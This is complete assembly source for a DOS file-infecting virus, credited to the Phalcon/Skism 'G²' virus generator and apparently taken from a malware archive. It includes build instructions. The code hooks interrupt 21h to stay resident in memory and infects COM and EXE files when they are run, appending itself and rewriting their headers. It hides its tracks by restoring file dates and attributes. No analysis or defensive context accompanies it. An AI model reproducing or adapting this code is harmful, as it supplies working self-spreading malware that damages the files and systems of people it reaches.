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vxunderground
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; Virus generated by Gý 0.70á
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; Gý written by Dark Angel of Phalcon/Skism
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; File: TARGET.ASM
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; [Gý Virus] by Phalcon/Skism
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checkres1 = 'FF'
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checkres2 = 'FF'
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id = 'FF'
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.model tiny
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.code
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; Assemble with:
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; TASM /m3 filename.ASM
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; TLINK filename.OBJ
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; EXE2BIN filename.EXE filename.COM
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org 0000h
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start:
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call next
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next:
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pop bp
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sub bp, offset next
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push es
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push ds
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mov ax, checkres1 ; Installation check
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int 0021h
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cmp ax, checkres2 ; Already installed?
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jz done_install
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mov ah, 004Ah ; alter memory allocation
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mov bx, 0FFFFh ; of segment at ES
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int 0021h
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sub bx, (endheap-start+15)/16+1
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mov ah, 004Ah ; alter memory allocation
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int 0021h
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jc done_install
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sub word ptr ds:[0002h], (endheap-start+15)/16+1
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mov ah, 0048h ; Allocate memory for the virus
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mov bx, (endheap-start+15)/16
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int 0021h
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jc done_install
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mov es, ax
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dec ax
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mov ds, ax ; Get MCB
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mov byte ptr ds:[0000h], 'Z' ; Mark end of chain
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mov word ptr ds:[0001h], 0008h ; Mark owner = DOS
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push cs
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pop ds
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xor di, di
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mov cx, (heap-start)/2+1 ; Bytes to move
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mov si, bp ; lea si,[bp+offset start]
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rep movsw
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xor ax, ax
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mov ds, ax
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push ds
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lds ax, ds:[21h*4] ; Get old int handler
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mov word ptr es:oldint21, ax
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mov word ptr es:oldint21+2, ds
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pop ds
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mov word ptr ds:[21h*4], offset int21 ; Replace with new handler
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mov ds:[21h*4+2], es ; in high memory
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done_install:
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pop es
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pop ds
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cmp sp, id
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jne restore_COM
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restore_EXE:
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mov ax, es
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add ax, 0010h
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add cs:[bp+word ptr origCSIP+2], ax
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add ax, cs:[bp+word ptr origSPSS]
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cli
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mov ss, ax
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mov sp, cs:[bp+word ptr origSPSS+2]
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sti
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db 00EAh
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origCSIP db ?
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old3 db 0cdh,20h,0
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origSPSS dd ?
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restore_COM:
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mov di, 0100h
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push di
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lea si, [bp+offset old3]
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movsw
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movsb
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ret
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INT24:
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mov al, 0003h
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iret
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int21:
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push ax
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push bx
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push cx
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push dx
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push si
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push di
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push ds
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push es
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cmp ax, 4B00h ; execute?
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jz execute
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return:
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jmp exitint21
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execute:
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mov word ptr cs:filename, dx
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mov word ptr cs:filename+2, ds
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mov ax, 3524h
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int 0021h
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push es
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push bx
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lea dx, INT24 ; ASSumes ds=cs
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mov ax, 2524h
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int 0021h
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push cs
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pop es
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mov bx, dx
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cmp word ptr [bx+5], 'DN' ; Check if COMMAND.COM
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jz return ; Exit if so
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lds dx, cs:filename
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mov ax, 4300h
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int 0021h
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jc return
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push cx
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push ds
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push dx
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mov ax, 4301h ; clear file attributes
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push ax ; save for later use
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xor cx, cx
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int 0021h
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mov ax, 3D02h
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lds dx, cs:filename
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int 0021h
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xchg ax, bx
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push cs
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pop ds
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mov ax, 5700h ; get file time/date
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int 0021h
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push cx
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push dx
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mov ah, 003Fh
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mov cx, 001Ah
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mov dx, offset readbuffer
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int 0021h
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mov ax, 4202h
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xor cx, cx
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cwd
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int 0021h
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cmp word ptr [offset readbuffer], 'ZM'
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jz checkEXE
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mov cx, word ptr [offset readbuffer+1] ; jmp location
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add cx, heap-start+3 ; convert to filesize
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cmp ax, cx ; equal if already infected
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jz jmp_close
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cmp ax, 65535-(endheap-start) ; check if too large
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ja jmp_close ; Exit if so
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mov si, offset readbuffer
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mov di, offset old3
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movsb
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movsw
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mov cx, 0003h
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sub ax, cx
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mov word ptr [offset readbuffer+1], ax
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mov dl, 00E9h
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mov byte ptr [offset readbuffer], dl
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jmp short continue_infect
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checkEXE:
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cmp word ptr [offset readbuffer+10h], id
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jnz skipp
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jmp_close:
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jmp close
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skipp:
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lea si, readbuffer+14h
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lea di, origCSIP
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movsw ; Save original CS and IP
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movsw
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sub si, 000Ah
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movsw ; Save original SS and SP
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movsw
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push bx ; save file handle
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mov bx, word ptr [readbuffer+8] ; Header size in paragraphs
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mov cl, 0004h
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shl bx, cl
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push dx ; Save file size on the
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push ax ; stack
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sub ax, bx ; File size - Header size
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sbb dx, 0000h ; DX:AX - BX -> DX:AX
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mov cx, 0010h
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div cx ; DX:AX/CX = AX Remainder DX
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mov word ptr [readbuffer+14h], dx ; IP Offset
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mov word ptr [readbuffer+10h], id ; Initial SP
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mov word ptr [readbuffer+0Eh], ax ; Para disp stack segment
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mov word ptr [readbuffer+16h], ax ; Para disp CS in module.
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pop ax ; Filelength in DX:AX
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pop dx
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add ax, heap-start
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adc dx, 0000h
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mov cl, 0009h
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push ax
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shr ax, cl
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ror dx, cl
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stc
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adc dx, ax
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pop ax
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and ah, 0001h
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mov word ptr [readbuffer+4], dx ; Fix-up the file size in
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mov word ptr [readbuffer+2], ax ; the EXE header.
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pop bx ; restore file handle
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mov cx, 001Ah
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continue_infect:
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push cx ; save # bytes to write
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mov cx, heap-start
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mov ah, 0040h ; concatenate virus
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mov dx, offset start
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int 0021h
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xor dx, dx
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xor cx, cx
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mov ax, 4200h
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int 0021h
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pop cx
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mov ah, 0040h
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mov dx, offset readbuffer
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int 0021h
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close:
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mov ax, 5701h ; restore file time/date
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pop dx
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pop cx
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int 0021h
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mov ah, 003Eh
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int 0021h
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pop ax ; restore file attributes
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pop dx ; get filename and
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pop ds
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pop cx ; attributes from stack
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int 0021h
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pop dx
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pop ds
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mov ax, 2524h
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int 0021h
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exitint21:
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pop es
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pop ds
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pop di
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pop si
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pop dx
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pop cx
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pop bx
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pop ax
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db 00EAh ; return to original handler
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oldint21 dd ?
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signature db '[PS/Gý]',0 ; Phalcon/Skism Gý
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creator db 'Phalcon/Skism',0
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virusname db '[Gý Virus]',0
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heap:
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filename dd ?
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readbuffer db 1ah dup (?)
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endheap:
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end start
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